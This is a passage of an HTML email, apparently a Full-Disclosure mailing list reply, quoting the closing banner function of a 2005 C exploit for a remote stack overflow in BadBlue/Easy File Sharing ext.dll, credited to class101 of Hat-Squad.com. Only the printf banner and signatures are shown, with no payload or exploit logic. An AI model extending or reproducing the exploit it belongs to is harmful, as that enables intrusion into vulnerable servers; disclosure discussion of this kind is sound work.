  size=2>&gt; \n");</FONT> <BR><FONT size=2>&gt;&nbsp; printf("</FONT> <BR><FONT 
  size=2>&gt; 
  ===================================================[0.1]=====\n");</FONT> 
  <BR><FONT size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  ================BadBlue, Easy File Sharing</FONT> <BR><FONT size=2>&gt; 
  2.5===============\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ================ext.dll, 
  Remote Stack</FONT> <BR><FONT size=2>&gt; Overflow===============\n");</FONT> 
  <BR><FONT size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  ======coded by</FONT> <BR><FONT size=2>&gt; 
  class101==================[Hat-Squad.com]=====\n");</FONT> <BR><FONT 
  size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  =====================================[class101.org</FONT> <BR><FONT 
  size=2>&gt; 2005]=====\n");</FONT> <BR><FONT size=2>&gt;&nbsp; printf("</FONT> 
  <BR><FONT size=2>&gt; \n");</FONT> <BR><FONT size=2>&gt; }</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; 
  -------------------------------------------------------------</FONT> <BR><FONT 
  size=2>&gt; class101</FONT> <BR><FONT size=2>&gt; Jr. Researcher</FONT> 
  <BR><FONT size=2>&gt; Hat-Squad.com</FONT> <BR><FONT size=2>&gt; 
  -------------------------------------------------------------</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; 
  _______________________________________________</FONT> <BR><FONT size=2>&gt; 
  Full-Disclosure - We believe in it.</FONT> <BR><FONT size=2>&gt; Charter: <A 
  href="http://lists.netsys.com/full-disclosure-charter.html" 
  target=_blank>http://lists.netsys.com/full-disclosure-charter.html</A></FONT> 
  <BR><FONT size=2>&gt; </FONT></P><BR>
  <P><FONT size=2>-- </FONT><BR><FONT size=2>Loco de aTar</FONT> 
</P></BLOCKQUOTE></BODY></HTML>